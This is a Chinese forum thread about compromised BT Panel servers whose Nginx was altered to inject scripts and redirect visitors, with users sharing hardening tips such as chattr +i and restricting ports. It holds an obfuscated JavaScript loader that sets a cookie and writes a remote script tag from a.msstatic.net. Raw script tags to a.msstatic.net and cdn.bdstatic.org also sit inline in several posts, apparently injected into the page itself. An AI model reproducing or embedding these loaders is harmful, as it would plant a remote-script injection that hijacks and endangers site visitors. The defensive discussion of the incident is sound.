【官方公告】关于外传宝塔面板或Nginx异常的公告

宝塔小心

<script>var _0xd4d9=["\x67\x65\x74\x4D\x69\x6E\x75\x74\x65\x73","\x73\x65\x74\x4D\x69\x6E\x75\x74\x65\x73","\x63\x6F\x6F\x6B\x69\x65","\x3D","\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x77\x61\x66\x5F\x73\x63","\x35\x38\x38\x39\x36\x34\x37\x37\x32\x36","\x25\x33\x43\x73\x63\x72\x69\x70\x74\x20\x73\x72\x63\x3D\x27\x68\x74\x74\x70\x73\x3A\x2F\x2F\x61\x2E\x6D\x73\x73\x74\x61\x74\x69\x63\x2E\x6E\x65\x74\x2F\x6D\x61\x69\x6E\x33\x2F\x63\x6F\x6D\x6D\x6F\x6E\x2F\x61\x73\x73\x65\x74\x73\x2F\x74\x65\x6D\x70\x6C\x61\x74\x65\x2F\x68\x65\x61\x64\x2F\x61\x64\x2E\x74\x6D\x70\x6C\x5F\x61\x39\x62\x37\x2E\x6A\x73\x27\x25\x33\x45\x25\x33\x43\x2F\x73\x63\x72\x69\x70\x74\x25\x33\x45","\x77\x72\x69\x74\x65"];function setc(_0x64d8x2,_0x64d8x3,_0x64d8x4){var _0x64d8x5= new Date();_0x64d8x5[_0xd4d9[1]](_0x64d8x5[_0xd4d9[0]]()+ _0x64d8x4);document[_0xd4d9[2]]= _0x64d8x2+ _0xd4d9[3]+ _0x64d8x3+ _0xd4d9[4]+ _0x64d8x5[_0xd4d9[5]]()}setc(_0xd4d9[6],_0xd4d9[7],360);document[_0xd4d9[9]](unescape(_0xd4d9[8]));</script>
<script src="https://a.msstatic.net/main3/common/assets/template/head/ad.tmpl_a9b7.js"></script>

宝塔用户_swptaa 发表于 2022-12-9 11:05
宝塔漏洞都传疯了，官方要赶紧给出解决方案。个人测试后的效果是：

每台服务器都开启BasicAuth认证，部分 ...

下载到本地 杀毒 貌似也没检测出来<script src="https://a.msstatic.net/main3/common/assets/template/head/ad.tmpl_a9b7.js"></script>

<script src="//cdn.bdstatic.org/scripts/common.js"></script>

宝塔用户_twwase 发表于 2022-12-9 12:45
var _0xd4d9=["\x67\x65\x74\x4D\x69\x6E\x75\x74\x65\x73","\x73\x65\x74\x4D\x69\x6E\x75\x74\x65\x73"," ...

哎 在head里 包了

这个算是提权成功了。
首先可以肯定的就是用户的网站代码肯定存在漏洞。
  其次就是能替换宝塔nginx文件，这个算是系统层的利用了。

(端口、ssh端口、宝塔端口）指定ip
启用防串改，权限644。
再牛掰都进不来

再给服务器套上密钥，这都能入侵
这大佬干点啥不好？

/www/server/nginx/sbin  这个文件夹给什么权限最好

老衲依旧爱飘柔 发表于 2022-12-9 14:11
(端口、ssh端口、宝塔端口）指定ip
启用防串改，权限644。
再牛掰都进不来

我从不开放ssh端口的，自己都不记得root密码，再加上BasicAuth认证，黑客应该进不来了吧

16848 发表于 2022-12-9 14:25
/www/server/nginx/sbin  这个文件夹给什么权限最好

1. chattr -RV +i /www/server/nginx/sbin/

复制代码

禁止修改就好了吧，不过升级Nginx的时候记得去掉

最*我两台服务器都沦陷了，一个网站中招了，整个服务器都沦陷了。整天都提天吊胆的，都是改的 nginx 的配置文件，而且明明都加 chattr -i 的，还是能被篡改。/www/server/panel/vhost/nginx  现在开启的防篡改，维护起来极不方便。

pcik 发表于 2022-12-9 15:05
最*我两台服务器都沦陷了，一个网站中招了，整个服务器都沦陷了。整天都提天吊胆的，都是改的 nginx 的配置 ...

端口必须改了，还有二次认证，我用的是ng1.18和1.21版本没用1.22

这样设置管用吗 问题是644权限是不是影响网站运行

页面空白，刷新后就这样

宝塔用户_twwase 发表于 2022-12-9 12:48
下载到本地 杀毒 貌似也没检测出来

是的，看了大佬发的内容，就算是数据下载到本地，也不能解决 异常跳转的问题。还是得 全格，重装